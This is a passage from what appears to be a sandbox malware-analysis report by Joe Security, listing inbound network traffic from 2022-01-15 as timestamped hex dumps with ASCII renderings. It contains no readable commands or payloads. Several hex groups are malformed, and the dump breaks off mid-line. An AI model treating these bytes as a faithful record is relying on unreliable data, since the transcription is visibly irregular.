2022-01-15 19:23:33 UTC 7471 IN Data Raw: 73 e0 8e 53 0a be 94 9d 38 02 fa 86 7c 25 78 39 0e c3 17 6c f3 07 ee f7 bc 8f 67 e2 a8 7c c9 11 b7 52 c1 28 51 ad ba cd f0 89 ba 27 45 d4 f6 e0 08 e0 29 79 f1 2a f3 33 e0 33 17 88 8c 23 b4 8d db 38 5b 23 49 5f 09 80 53 c7 d2 10 2a 4a b6 cb fa 95 a8 90 92 19 97 8d 1f 2e 08 14 68 e9 c3 29 ec 14 69 1e fe 64 aa 99 88 68 b8 fe 51 97 7b 2c 15 0c b5 af 43 d5 b2 8a 2e 56 53 26 f8 9f ba 6e 63 93 94 58 0e 88 25 3c 0d bf a5 af 30 0c 62 28 29 04 5f 80 25 40 bc 89 1a 33 6d de c8 a2 3e 4c 37 4f f0 c5 59 cc 7b 5f 6a 98 29 79 1a 25 b7 10 20 6d 42 6e a7 d1 3e 99 7d 75 8f 3a 61 3d cd 99 ed d1 d3 47 f7 87 7c b3 11 9e ad 58 61 01 75 c3 32 3b 49 10 69 ab e0 47 d0 54 34 5a 68 9e a1 2e e8 ac 27 91 38 55 43 5e 6f 93 58 c2 e7 53 36 b1 28 2d 0a f6 a7 b0 25 f5 74 f0 a9 c6 6a 96 88 Data Ascii: sS8|%x9lg|R(Q'E)y*33#8[#I_S*J.h)idhQ{,C.VS&ncX%<0b()_%@3m>L7OY{_j)y% mBn>}u:a=G|Xau2;IiGT4Zh.'8UC^oXS6(-%tj

2022-01-15 19:23:33 UTC 7487 IN Data Raw: c4 5b b1 0b 08 44 34 49 3a ab 25 bc 60 72 ec 11 9d 3a 92 37 93 90 c1 23 1b 1a 0f 14 6e 2c 86 52 43 22 21 29 42 3c 2c 9a dd 23 d5 28 71 0e 9b d9 93 a2 91 49 1d 8d ae d4 8e e0 83 35 ed 55 ea 8c c9 58 1c 85 fb f3 cc 0f 6b e0 3b c3 35 cb a5 2e e2 cd 14 41 ce e8 55 46 23 0d 3d 0e e9 58 5b d7 14 a0 88 1c f3 e0 cb 23 82 83 ad dc 0f 88 25 90 ad df e7 cd d0 8c bf 5a cd 75 8e ef 6a 6f 2d fe 3f 27 0e 4e 08 e7 da 6d 6f da 7d 3f a1 8d 0f cd 2a ca 9f c1 84 18 6e e7 8f 1b 8a 04 03 24 93 a5 09 ba 0e 4d 06 c9 b6 92 85 08 59 a4 ad 01 0a 47 f9 3b 20 aa 9f b3 f4 10 d6 ff 1e 01 7c 30 76 b1 ea 24 25 73 86 1b cf 59 cc 8e fc cf 79 f8 c6 6c fc 91 81 1f 84 0e 19 df bd 84 e3 90 b2 2b 9a cf c4 aa f3 c5 07 01 2d 49 03 ff 16 78 2b 7f 11 12 71 ba 64 38 21 af 94 f5 3b 0c 0f 97 bc 8e 4b Data Ascii: [D4I:%`r:7#n,RC"!)B<,#(qI5UXk;5.AUF#=X[#%Zujo-?'Nmo}?*n$MYG; |0v$%sYyl+-Ix+qd8!;K

2022-01-15 19:23:33 UTC 7503 IN Data Raw: 81 01 73 7c 1b 7a cd 13 85 fc 5a fb 12 3e cc e5 f9 24 9f da 2a 5b ec b7 58 ef e9 00 99 64 aa 5e 48 f6 ce 45 9b 59 9f c5 31 8d 98 20 50 ec e5 d6 6e f1 44 70 27 2b 11 54 bb 45 72 0b bd 69 05 ed 1a 15 e5 91 32 e2 7a 90 d6 25 b4 4f 24 ea fb 1c f5 c0 6d 14 d5 aa cb f6 36 cf 85 93 84 8e 70 71 16 3e cc 3f 73 6c 96 2d c4 c1 b6 4e 81 16 36 4a ec de ff 2b d8 a1 c5 25 1d 15 5e a1 49 41 82 53 d4 7f 18 06 23 e8 2b 06 67 dc 3d 8e f1 1a 1c ea ef 34 7a 4c 28 92 bf d2 17 94 d5 3d a6 e0 36 03 a4 92 62 3f 57 77 13 d2 9f d6 ed a2 db bf e7 b2 5a 86 a5 51 f4 59 d6 02 79 1b 44 69 e0 28 e4 da c6 c0 f3 0f 04 38 8e 8a da c3 6e 29 08 cc d9 99 1f 3b 76 f1 80 73 4b d4 ac 70 2e b0 a0 e6 06 fa c7 43 4c a2 73 aa 18 07 40 b4 aa b3 17 23 64 92 9f 94 4f 07 c6 05 49 cd 76 04 62 07 17 fe c7 Data Ascii: s|zZ>$*[Xd^HEY1 PnDp'+TEri2z%O$m6pq>?sl-N6J+%^IAS#+g=4zL(=6b?WwZQYyDi(8n);vsKp.CLs@#dOIvb

2022-01-15 19:23:33 UTC 7519 IN Data Raw: e1 26 bd b3 2b 88 93 6f aa 80 9a 50 37 05 21 00 d5 c1 6b 61 84 b5 e3 e8 36 07 2a 52 7b 05 90 80 c6 d2 dc 39 b3 4e bb 14 a5 cb be e9 6d d6 e3 2b 78 48 40 96 51 65 01 91 e0 c2 af cd 7b a2 dd 09 2d c5 47 86 f3 04 2a 31 cf 0d 4f 76 eb d1 01 1f 7d 4f 68 84 aa ea 09 3d 73 1a 3f 0d c8 e1 c9 c0 7e 20 57 3f fe 94 60 55 32 9a b9 07 e3 40 ae 56 93 36 05 21 af ba 2d 1d f9 3e f6 31 b2 b2 9d e7 8d ce 16 53 aa b0 e8 7d 79 e0 60 94 f1 3e ba 91 e2 a6 3b ff 33 06 cf a1 09 b0 fb 15 90 f5 77 4a 09 5d 87 88 c2 e5 c6 c4 61 12 3d ce d0 cc 81 aa b4 8c 5f 40 47 bd 8c bc 11 8e 16 e5 bd 4d b0 34 ae bd 63 db 1c 44 b2 8d 31 af 65 ca 9f 87 fd 21 b1 13 a0 4c fa ec 87 9a 66 d8 34 dc 56 0d 2c ae 72 b2 60 d6 d4 2c 86 0f 18 0c 0a a0 e6 c3 b4 f9 59 fb 9f d6 2b 50 47 2f 33 79 b9 8a 4b 96 85 Data Ascii: &+oP7!ka6*R{9Nm+xH@Qe{-G*1Ov}Oh=s?~ W?`U2@V6!->1S}y`>;3wJ]a=_@GM4cD1e!Lf4V,r`,Y+PG/3yK

2022-01-15 19:23:33 UTC 7535 IN Data Raw: 2b ac c8 3e a7 b9 00 9a 6f 68 31 c8 3b 0a 07 dc 68 91 b1 a5 a3 a9 b7 fe e8 ac f9 da b4 71 6a 03 6a c1 0c 64 eb7b dc ef 13 22 92 39 b5 c0 29 88 f9 84 99 cf 54 8c 6e 73 1a d8 29 6d 70 83 16 1a 3e e2 42 16 13 13 bc 1b 4e 37 fa 1f f9 0f 5d ba f4 d5 09 8a fd 05 be da f8 25 b4 95 86 c4 05 23 41 ff ee 66 94 a9 6f b0 e5 8f 71 7e 39 43 f8 6d 9e 25 a0 0e 45 16 94 43 4d b9 cf 65 45 bc ce 4e 6c c0 44 41 2c 90 3f 91 2b 2a 46 5e d5 6b 5c 29 12 d2 cc 68 45 7b fc eb ac f9 9c 37 0b d2 98 a0 43 a4 a1 85 1a 4d 7f 57 d9 4f 7c 58 6e ef c9 fe 87 37 7b 34 fe ce 1d d8 db 1b 51 4e 34 d9 e8 ce 1e 3e fc 83 0b 1d 2a ec 54 0e df 69 19 51 95 21 7b a5 2a 10 71 4a a4 46 d0 0e 0d 46 39 b3 f6 e1 5f 2e 77 07 3f 44 7a 67 c4 92 9e 41 cf 3b bf c6 26 a5 68 49 18 42 1e 26 82 44 6b 32 ce dd 90 Data Ascii: +>oh1;hqjjd{"9)Tns)mp>BN7]%#Afoq~9Cm%ECMeENlDA,?+*F^k\)hE{7CMWO|Xn7{4QN4>*TiQ!{*qJFF9_.w?DzgA;&hIB&Dk2

2022-01-15 19:23:33 UTC 7551 IN Data Raw: a2 f4 6c eb b1 b1 cd 23 0d ae cd 00 d0 f5 94 1a 09 fb e5 fd 6b bb 24 4f 12 37 6a 23 c8 dc ec 23 aa 47 64 b2 9e e9 e3 de 8f 6d b3 24 f0 46 7d e5 01 23 55 fc 0d 87 3b 2d 11 ef b9 f7 88 e7 bc b8 05 8b ce 05 fc c7 7f 93 d4 9b b2 e4 68 23 de 89 bb da a2 7e 2e 33 49 8a 3d ed c0 ee 53 e4 7f 69 26 44 b6 11 7e b9 b0 ce 2a f6 f8 28 2a 12 6f 7a 31 ef aa 8e a4 d0 c3 d8 28 03 eb 86 69 f0 34 26 f2 10 25 95 4a 3a 34 27 39 e6 73 a3 94 81 39 ee a9 cc 26 91 17 93 5d fb c6 eb 90 54 6f 67 fe 8f 13 ca ea f0 74 57 53 fa c0 d6 b4 c6 d0 41 7d dd d1 e0 db 53 1d 62 27 f5 06 53 31 f7 10 75 f9 28 34 a3 ab e3 ef 26 30 06 3d 3f 1f 34 bc fe 84 92 af ce cf de c1 9f b4 0a d0 a4 db 51 e1 8e 2b 28 54 f8 54 14 76 5a 21 d2 ca 5b 0e ce 3a fd 17 d6 2c 10 51 83 35 74 cc 29 d3 e0 97 4e fe 45 7f Data Ascii: l#k$O7j##Gdm$F}#U;-h#~.3I=Si&D~*(*oz1(i4&%J:4'9s9&]TogtWSA}Sb'S1u(4&0=?4Q+(TTvZ![:,Q5t)NE

2022-01-15 19:23:33 UTC 7567 IN Data Raw: 04 85 8a f2 a0 a2 7b 68 c5 e9 dd f8 6f b2 e3 97 b0 e9 67 a0 ce cc 68 94 63 19 68 64 e6 59 b1 01 44 3e 19 2f ba ea 42 6e 30 94 ca ea 03 5e fe 29 49 9e b0 17 fd 47 e9 9d 80 31 1b 6a 23 c0 a7 f0 ed e2 1b a5 eb 77 bc b2 18 f3 1f e2 5c e4 eb 99 19 d6 7c ee 02 eb fc 87 48 14 e0 1d 3c 3a 59 41 ea 9f 44 a4 60 50 02 52 83 f6 f4 5c 73 77 45 4c 73 6f 90 06 ea e9 97 df 1e 25 e5 80 fa 94 e3 da b2 20 4c 94 46 2e f9 f2 13 3f ee ef 16 28 1c b8 c2 39 e0 47 a5 d0 86 8e 3f 7f 48 df f0 d6 4d 69 3e 2c eb 7d 29 0d 82 10 15 12 46 97 1d 92 f1 67 2a 06 70 a4 cf 1e bf cc d0 30 f4 62 58 ad 07 56 63 76 21 56 e2 e0 99 d8 47 23 48 14 f8 b2 a5 ad 35 df 2b 1c 5a a6 4e d9 de 1d af 8d ce 7e 40 2d b3 4c 3f 28 d4 18 42 7f ca cc b9 bb ce 8d 34 fe 35 57 9f db 76 54 63 de 02 0a 4a 2e 18 cf 03 Data Ascii: {hoghchdYD>/Bn0^)IG1j#w\|H<:YAD`PR\swELso% LF.?(9G?HMi>,})Fg*p0bXVcv!VG#H5+ZN~@-L?(B45WvTcJ.

2022-01-15 19:23:33 UTC 7583 IN Data Raw: fa 53 2e 8f 3b fb 3e ef 5f 9e ec b0 93 49 5b ca 80 e1 f2 4a 92 87 b9 c8 db 7c 8f 7a a1 87 8f 9f 46 b2 d6 5a 8c d0d0 d6 aa d2 dd b6 e1 16 fd bd ef 6e d9 e2 8a 58 c3 28 7a 96 ea 71 6b 07 06 ae 31 9b ad c8 1a 2a 55 62 ff dd e9 06 6a 72 4f 5e f2 ad ca 52 0d 8c e2 d5 3a 49 7f 4c 5b 97 22 f8 1f 05 7e 4a 9b 3e 19 8e 30 80 04 50 3c 8e 1c 6a fe 24 f6 4d 6b 23 b9 0b f9 cb ff f7 03 69 31 91 b1 03 e3 fe e9 8f 57 e4 93 74 b9 01 02 26 99 4d c2 2c e9 e2 e3 df 98 d2 8e cd f3 78 78 03 cc 3f ad e0 df 5f 22 0e 39 1e 12 76 a6 0b e9 45 4f 1f 5c 43 06 fb f0 8e f4 ed 69 bc 71 17 52 8e 37 e2 cd 29 00 56 1a 78 b6 db 4a 96 94 08 e9 2b 25 4b 28 a7 ed 83 fa 9e c5 b4 71 45 7b 8d 0b 01 d7 91 02 14 80 82 71 f9 51 ce f8 0a 29 55 60 43 51 07 76 4c 08 f0 15 f5 e0 e3 10 7b 3b 3e a0 6b 90 Data Ascii: S.;>_I[J|zFZnX(zqk1*UbjrO^R:IL["~J>0P<j$Mk#i1Wt&M,xx?_"9vEO\CiqR7)VxJ+%K(qE{qQ)U`CQvL{;>k

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 80 of 103

2022-01-15 19:23:33 UTC 7599 IN Data Raw: d3 ae ff 62 31 04 dc 9e 4e 1a d6 79 bd 13 4e a6 fa a3 95 9f 1d 4f 7d 1e 59 aa b7 81 7d 1a 42 90 12 41 e1 bf 78 ce 3d fd 5f 17 08 56 e7 72 aa 01 83 ad 43 f7 f4 b0 0a ce 7c 16 0e 14 e7 d6 c9 28 b2 48 aa ce fe 8b c4 4a 97 0d d0 62 73 50 86 6b 3d 60 0d f7 5c f3 54 1e 3d 7d b8 97 f1 6a 7d 0c 89 33 e4 e1 ba 22 8a 18 57 0f ea f2 b3 a5 31 30 e9 2e 98 9c 0d 10 94 eb c6 4c df b1 dd d5 7e d9 17 0b 43 75 a9 4e 89 00 c5 29 2b 9b 6c 64 f4 8a e2 1d 8e b0 de 81 b9 d8 d5 47 2a 26 18 95 bf d4 60 61 15 3e 0a 19 02 ce 42 6d 65 2e a0 37 56 a0 bd 8a 9f b3 0e bf da 46 2b ed 62 fe 1e 25 15 5d 5a f2 73 89 25 12 16 bf 3e 8f 01 80 fb 28 84 65 9c 6a 9d 54 84 c0 19 67 03 d2 bc aa 2d d3 31 a3 76 3a 0e f9 2a 43 74 91 ea 24 b3 2e 32 11 c9 ca 51 25 ab 85 24 78 c1 fe f4 79 73 7c a9 43 b9 Data Ascii: b1NyNO}Y}BAx=_VrC|(HJbsPk=`\T=}j}3"W10.L~CuN)+ldG*&`a>Bme.7VF+b%]Zs%>(ejTg-1v:*Ct$.2Q%$xys|C

2022-01-15 19:23:33 UTC 7615 IN Data Raw: 7a d0 35 75 7a e9 8b 4e 44 80 4c 03 3c c1 19 b6 83 78 e2 8e d1 5a d2 4c e4 fb d1 28 58 f3 fc 9a 6a 62 cb 31 c8 8b 61 28 b1 dc f4 47 2c 27 ad 1f 69 7c 3b 06 1a 7d 3c cc c0 d1 e5 37 a1 e5 39 a0 33 33 e6 e3 2c b0 dd c7 dd 92 fb 0b 6d fe e1 68 7e 7b f0 43 13 c1 56 b8 8e b3 56 85 67 e5 02 cd 77 ef 8f da 74 8d 45 c7 ab e7 22 c5 31 e5 21 4d 68 b8 66 ea 86 9f 03 38 89 41 8a 6e f0 2e 99 66 c3 e4 2c e1 16 b6 b2 1e 34 d6 78 da bd 72 17 d4 6c 25 02 14 f5 e0 88 15 23 a7 9b 51 98 ee e6 b9 ea c0 07 88 3c 5a 98 c4 e0 16 42 09 91 b3 9a 55 9c 09 fe e4 28 0e 52 ca 62 e4 f3 d5 07 c1 e6 02 9c c7 b5 c2 08 71 a1 ae 64 9a 40 aa 9c d2 7c 87 e4 55 ec e1 57 17 55 5a c5 d3 e4 9c 9d e4 29 04 b1 e4 4a d8 ab ac c3 9c 29 97 b6 14 66 9c e5 23 04 94 0c c3 59 c1 82 8e aa 89 bc cd 0d cf 64 Data Ascii: z5uzNDL<xZL(Xjb1a(G,'i|;}<7933,mh~{CVVgwtE"1!Mhf8An.f,4xrl%#Q<ZBU(Rbqd@|UWUZ)J)f#Yd

2022-01-15 19:23:33 UTC 7631 IN Data Raw: e5 c1 a2 40 3e e4 d1 a5 1f f7 40 f0 4f 47 4d 42 e6 c6 6c ff 31 27 98 da ab 46 d1 b4 19 39 a9 c9 08 17 32 8e fe 8e 92 d0 8e ad 1d 0a 7a c6 07 4c 88 91 0d 23 b8 42 01 19 34 1a 72 4a e2 eb 6b 47 02 cc 15 71 78 10 0f 81 ad 1f 0f 24 db a1 8e 18 ce 20 18 be fc d7 fb b7 9a c7 aa 09 df 30 f1 72 fb 53 cd 2b b3 9b 59 36 7d dc 64 80 16 7e c4 be 46 77 a9 85 c3 9a 44 ac bb 2d 79 86 a6 37 8e 0e cf 15 ea 72 e1 00 c9 48 14 34 94 b1 99 cc 5a c3 16 ec d5 ae ab 25 e2 ac 8f c8 81 2c 08 85 6c ca 73 b9 71 d1 fa ed 6d a7 12 e5 4f 55 2a 05 f4 58 cb e6 f3 6e 71 3d bd 70 2c 85 37 34 e7 92 76 45 90 69 8d d1 fa 85 aa ba 2d 8a 4c c7 47 77 b7 1f c6 0c 78 ff 9b 7d f6 ea 58 e6 b1 00 f2 c7 9a 1f 01 99 78 d2 c3 87 66 88 2c b8 4a 05 e0 b0 85 de e9 0e 78 35 09 0c 56 6c b5 79 a1 bd a5 29 44 Data Ascii: @>@OGMBl1'F92zL#B4rJkGqx$ 0rS+Y6}d~FwD-y7rH4Z%,lsqmOU*Xnq=p,74vEi-LGwx}Xxf,Jx5Vly)D

2022-01-15 19:23:33 UTC 7647 IN Data Raw: 88 b4 9d 34 58 6d 17 3f d5 81 23 ca 33 c9 49 f7 a7 1c 73 20 3d d3 e2 ed bd bb 0a 3c 1f 52 26 30 cc f4 7b dc 43 a5 4e cd c2 d6 09 71 1d 98 f1 65 78 0d 04 23 85 ca 4e f6 87 1a 5f bd 3d 59 b8 6b 2e f7 07 51 4c df f9 08 7d 94 43 89 08 6f 74 9d 61 a0 5b 6c 8b 95 37 1e ed 9d ea f1 61 40 b2 8a d2 4f 30 34 2a 8e 1e 26 49 91 9a 1e 4c ec 81 d5 50 c8 5b 0a 61 28 85 ab 11 87 86 53 4e b2 98 7c f3 58 49 10 68 10 43 85 0b 19 bf c6 aa a4 9d 09 19 e8 7b 63 54 11 28 7b 20 98 e0 2c 73 94 e0 0c 47 68 7d ea 19 e2 9b 33 69 b6 36 8f fb 2c 55 17 7b cb 96 fa 7e dc 6e f3 61 74 a1 22 df ab e3 1b bd a5 c7 39 15 95 39 ee e2 97 ea 8d 40 e0 6f e7 e9 e8 97 7c 10 53 e3 64 72 0b 6e f6 fe 6f 7e 59 02 02 d7 9f c4 23 df 06 e7 92 4f 34 0d 26 bc 33 d4 9c 62 bd f4 ce 77 1e 2c 8b fd 3c da c8 12 Data Ascii: 4Xm?#3Is =<R&0{CNqex#N_=Yk.QL}Cota[l7a@O04*&ILP[a(SN|XIhC{cT({ ,sGh}3i6,U{~nat"99@o|Sdrno~Y#O4&3bw,<

2022-01-15 19:23:33 UTC 7663 IN Data Raw: 76 2d 10 9b 3d 79 b1 f0 2e 09 63 f2 72 8c 75 97 88 78 51 53 88 82 b1 a0 ed 8e d2 59 06 8b 67 28 d0 7b 88 fd 87 76 0a 09 bc c9 ab e8 c6 33 e9 46 78 32 97 e5 0f 75 5a 7b 3b 7a d1 69 62 11 64 2b fd dd b5 81 7d fe 87 e0 50 57 54 a3 fc 4d bc b6 11 66 68 fe 53 49 10 cc 30 4e ee f7 e1 f1 27 bc c2 c0 ac a2 3c e3 92 14 e4 97 59 c6 97 7c f7 8e fe 94 be 8f 0b 0b 37 c0 b0 95 02 c9 fd 6a 0f bf 2c cd 06 bd 3f 8a 75 a3 2e 3e 40 08 ed a5 b1 48 05 d2 d0 00 73 94 51 a4 8c c1 75 8f 68 82 eb 64 3d c6 17 3d 9d c4 c9 62 1a 26 38 e8 ca fd e5 5f ab 93 21 a2 11 51 83 50 70 99 cd 2e ad bd dd 93 7e 05 ab 8d fa 50 dc cd 54 4e 96 d4 3c 89 9a 18 2e 19 ec 5c 67 42 8f c9 2a 6e b1 59 7c cc f7 47 5a 59 14 c0 ec 85 b3 ce 1d 44 4f 53 2c a5 e2 01 8c f0 ec 43 a4 73 b3 75 8d 11 72 c5 e7 ae 92 Data Ascii: v-=y.cruxQSYg({v3Fx2uZ{;zibd+}PWTMfhSI0N'<Y|7j,?u.>@HsQuhd==b&8_!QPp.~PTN<.\gB*nY|GZYDOS,Csur

2022-01-15 19:23:33 UTC 7679 IN Data Raw: 91 fb ed 96 db 68 aa ff 3c 47 28 e4 3e dd 18 db c4 6f 71 21 26 74 39 07 80 5f 56 e1 b9 ec be 26 c2 e5 31 01 a6 4b cc f3 ae 70 d6 e8 a6 51 e0 c2 91 02 c4 1f 5c 93 50 0d 28 0c 20 8c f8 7b 53 ea 55 05 6d d4 b8 2c c4 f7 38 ef 28 11 28 a9 ec 04 6a d6 37 de 62 7d 9d 86 9a ea af 29 0d 21 06 f8 08 03 b5 8b 4f 38 42 1b e6 7d c5 8e 44 d9 c4 62 48 33 c8 46 20 2c 05 8e fe c8 72 85 14 30 2d 6f 98 9f 80 68 24 60 8e ff 76 41 90 0f 07 e0 bc 1a e1 60 26 ef 42 37 fe 1a 6b 95 04 b5 15 9d 6c 54 33 23 2c f0 50 2c fd 4b 85 e5 27 a2 61 9b 09 13 df bb 3b 8c fa 86 12 e6 f7 85 53 5e af 27 a4 d3 5d 48 15 e2 73 5f 1e 0d 2e 3f ae db 4e ac c0 ea b3 cc ef 66 00 96 c2 40 6e 85 9d 80 1b f9 64 3c 52 44 74 90 72 20 9d c5 b4 d8 9c a5 a0 0b bf 54 19 96 4b d7 4a a5 cc 23 c2 1c c4 f9 5c 12 3f Data Ascii: h<G(>oq!&t9_V&1KpQ\P( {SUm,8((j7b})!O8B}DbH3F ,r0-oh$`vA`&B7klT3#,P,K'a;S^']Hs_.?Nf@nd<RDtr TKJ#\?

2022-01-15 19:23:33 UTC 7695 IN Data Raw: 15 77 92 d6 b6 c5 16 5b f8 24 af 53 52 9d 19 e0 1e 97 2f af 7d d0 31 81 10 8b be a0 32 20 d9 b5 d2 7c c4 96 1e 87 70 e4 f3 f0 b3 7c 71 78 c1 a0 5d 1e 06 1b 3c 72 da 0e 82 cd 00 55 ed c2 6b f7 c5 a3 fe 8e 37 18 a5 ca c7 07 49 03 cb fe 1f 98 17 41 e2 99 17 e2 7b b1 72 97 17 d2 f9 f4 ed 2d 0e 27 be 2e e4 56 22 c6 bc e5 7d 42 25 50 40 94 4f 91 80 2b 3e 9f 99 17 15 6f dd 02 7d 43 c4 46 33 3f 8e f3 ad 12 78 f8 5a 7e 8f 7a 00 05 f1 b8 a7 b0 2a 29 aa af fe 52 44 c1 2b ed 3d ed d3 c7 14 a5 fe a4 73 a5 37 99 28 bd c9 30 76 21 12 2a 79 33 90 ac a6 ee b4 59 5e 42 15 d2 24 4f 0c 30 35 e6 6e 4c 12 ce 58 3c 49 07 2b d6 59 95 7c 69 b8 d6 d5 e4 d5 d0 1d 5d a7 1e 8f 34 b6 ea b1 70 99 96 7d f7 3d 62 e1 ec 39 1c 4e 2e bb fd 1d 28 15 4b 29 ea 5b 7a 64 30 37 f6 df ed 3c 5d 69 Data Ascii: w[$SR/}12 |p|qx]<rUk7IA{r-'.V"}B%P@O+>o}CF3?xZ~z*)RD+=s7(0v!*y3Y^B$O05nLX<I+Y|i]4p}=b9N.(K)[zd07<]i

2022-01-15 19:23:33 UTC 7711 IN Data Raw: bf c7 b0 47 3c bb 5f 0e fb e7 e9 00 58 52 72 cc d3 58 cc 75 39 79 89 3b 09 fa d3 80 b5 4c 1d b2 12 1a 9d 70 39 c1 7d ec 2a 2a b1 a2 9a 9b c8 04 79 d6 01 3f 06 a7 64 53 d6 62 3f 5f 23 11 04 56 e5 6e 0a 73 7c 96 95 e9 3d a1 6f 9a 93 64 3d 32 0d 23 43 9c 91 6b eb a5 5b 99 86 eb 93 8e b2 f8 47 49 a7 31 6a 35 fc 0d b4 c0 52 a2 10 49 3c 1b c3 4a 83 77 0b e6 11 a2 2d 72 bd f8 eb 2d c8 0d 72 62 9c d3 d7 09 a8 b2 3f 04 b6 2a 36 d4 f6 b5 98 43 a9 28 d1 8e e7 3d f7 05 0a 20 02 53 47 79 7c 6a 39 fe 0d 2f 75 45 fa 80 fe 62 f5 ec 49 09 42 7b ef bb 5e 3d 3f 9a 1e 76 5f 5a da d2 eb fa de a1 cb 5e 73 95 2d d3 b9 50 8c 55 51 bf c0 34 42 38 5e 9a 6f 68 90 24 c6 95 4f 75 ff 2d 06 07 0f 9e 90 81 5c 1c e5 27 a1 ea 38 f0 14 01 76 4c 8c f9 01 c9 eb 80 9e 2c 6e 47 f2 13 08 6b 7e Data Ascii: G<_XRrXu9y;Lp9}**y?dSb?_#Vns|=od=2#Ck[GI1j5RI<Jw-r-rb?*6C(= SGy|j9/uEbIB{^=?v_Z^s-PUQ4B8^oh$Ou-\'8vL,nGk~

2022-01-15 19:23:33 UTC 7727 IN Data Raw: 37 d5 9a c5 aa 44 60 fc f5 81 3b b6 df 84 93 c4 8b 47 18 2e ae ab bc ca ec c3 ac 0f f6 33 c7 df 76 c8 f4 ea 63 a1 bc 3c d9 ca e6 4e 44 e8 74 89 f0 37 5e c4 00 0f 99 d4 3a a9 91 19 6f 57 16 86 09 93 ee f1 6e ea 3d a7 87 b8 42 88 d6 d0 28 9c 71 91 b9 43 ad 7a 8e d0 36 d3 f6 6d 49 66 d2 6e 84 e1 9d 71 a0 71 3e fb 5a d8 8c 7c 51 18 d3 6a 2e f8 aa 7b d0 56 1a 57 18 61 09 19 88 24 1b bd 10 6a 98 14 7c 51 ed 99 2a f5 fc 53 b5 d0 02 2c 8c 07 a5 a3 1f 54 9e f7 e9 57 7c 04 e3 f5 2a 5e 1d ee a1 1b 5a 7a c3 de 82 73 d2 15 ce 96 64 2b 77 21 7a 70 1f d9 1c 68 da 50 48 bc 2c 06 62 97 8f c6 53 df 72 f2 b9 6f 39 6c d8 31 60 1f 29 10 3c d5 c7 23 32 9a 42 c4 be 7c bf c4 8c 64 61 b4 c7 38 d1 15 c0 f9 9a 5c 23 3c c8 aa e3 2935 45 33 38 5f 7e 69 b8 f1 85 77 4d 0c 20 53 58 e7 Data Ascii: 7D`;G.3vc<NDt7^:oWn=B(qCz6mIfnqq>Z|Qj.{VWa$j|Q*S,TW|*^Zzsd+w!zphPH,bSro9l1`)<#2B|da8\#<)5E38_~iwM SX

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 81 of 103

2022-01-15 19:23:33 UTC 7743 IN Data Raw: 31 44 37 5f e8 63 7f 48 00 7a 31 28 5d 77 7f 1a 69 ad 35 c0 24 06 c0 ac af 14 22 86 fe b8 eb 1e 67 17 72 8f 20 33 65 b5 48 fd 17 3c 9c 79 93 6c fe 40 25 03 91 03 43 71 16 b6 37 74 08 9a a6 d5 88 c7 37 ae e5 57 54 89 d0 98 40 c7 bc 41 a8 2d 6f 93 92 f1 52 e2 63 60 84 58 f1 22 c7 54 52 b3 63 2f ff 2f 7c f1 8c d0 6f a4 be cf 61 e7 a0 0e d0 50 b8 69 93 13 08 68 56 79 2a da d2 86 89 cd 01 94 6b 99 d6 cb e3 5b a1 b9 99 b3 61 e2 ee 5d cf 5b a0 7d f9 a1 eb 63 3b 69 bb 85 5d b0 71 9f 98 3b 7f 53 1a a1 dd 37 ee 9b 4a 8a 87 a7 36 f3 56 98 2a 1d 50 7d 95 bb b4 1b 6e 10 34 e1 4b dd 63 b8 a0 53 53 22 7e 03 f9 3c 8f 68 15 ef 15 b5 f1 c8 26 0a fd 09 67 58 1d c0 33 f9 82 16 56 b6 d9 41 54 f5 63 09 96 db a7 a9 db 05 c7 06 b7 cc 98 cd a8 58 c9 7b d8 10 03 22 9c c4 50 35 96 Data Ascii: 1D7_cHz1(]wi5$"gr 3eH<yl@%Cq7t7WT@A-oRc`X"TRc//|oaPihVy*k[a][}c;i]q;S7J6V*P}n4KcSS"~<h&gX3VATcX{"P5

2022-01-15 19:23:33 UTC 7759 IN Data Raw: 17 e4 f6 5f ce ef 70 5b 14 2e 98 7c 7e 4f b4 03 97 17 e4 f3 de 10 b4 cd 4c da da dc 8d ef 5c 3c b4 e3 15 0d b1 ae c0 ec bd ce 73 99 fc b5 9a 70 35 01 f4 1b 62 27 c6 4e 4a 2b 85 bc b6 17 7a e7 4f 65 07 ed ea 02 9a 72 c7 77 bf 44 3f 4c 01 b4 4d b1 f6 0c 1a 84 e2 56 65 45 74 4a a5 d4 71 5a 6b 15 e3 a6 6f b2 d1 02 2e 04 3a 14 8e 42 ad ec c7 40 aa 8b 97 77 40 cf 68 97 97 2b fa 96 e1 fb fb 32 64 d1 8c 76 51 88 20 e8 b4 37 35 44 5a 05 fc 90 9a 74 16 cd ae b8 ed f6 e9 f4 db f9 95 50 32 dc ae cd 7f fd 71 51 6e 58 ca 95 3f 96 5e c8 15 56 1f 8c 93 a4 09 cd 05 e3 d6 05 f8 08 0f dd 84 c1 b9 3f 75 3c 7f ce 13 0c e4 f1 20 07 ec 54 8e 38 59 cd 38 2d ba e6 50 07 cd 2b d9 d2 5c 5f 8b 5a d2 d4 b1 89 07 70 8f 5c 72 5e 38 2c 84 f0 df 60 4e 54 80 77 35 b0 6f 7e e2 38 cf 0d 57 Data Ascii: _p[.|~OL\<sp5b'NJ+zOerwD?LMVeEtJqZko.:B@w@h+2dvQ 75DZtP2qQnX?^V?u< T8Y8-P+\_Zp\r^8,`NTw5o~8W

2022-01-15 19:23:33 UTC 7775 IN Data Raw: 92 df 42 96 6a bf 68 9c a9 9e c2 c0 c2 0c d9 49 17 b5 8e c6 2e 17 b6 f5 75 2c ad c6 02 cc 48 ad 11 03 46 19 3307 fd 16 bd 87 73 05 6e 9a d5 ee 46 35 b6 e4 0a 89 de 5b 38 15 06 ec bb 82 cd db a5 f6 aa f6 e7 a3 c4 94 31 8b 9e e7 e0 61 04 00 b9 a0 42 38 05 05 0a da 74 94 4a a8 73 9d 83 b4 a3 e0 76 d9 54 35 20 56 db 58 c2 98 ba 87 3f 9a d0 b5 3d cc a6 3c 0b 21 bb 31 4e fe 2f 92 37 a1 33 c4 01 19 0a 42 cd de 57 74 6c 26 a4 78 3d 1f fa 47 ea e7 e1 ad 3c e7 86 04 49 58 33 d7 81 f9 69 70 22 33 78 6e 49 be d1 d5 35 14 5e d4 ee 41 52 59 98 9a 48 32 79 98 4e c7 2c 18 ba 33 ca 16 74 c3 47 86 6c 39 24 31 2b 49 67 8f da 08 ad d2 b2 bd f6 5c a0 8a 7b 2b ca e1 e1 4f d0 4c 9a 77 40 20 e2 a6 0c e6 8a c2 f1 18 25 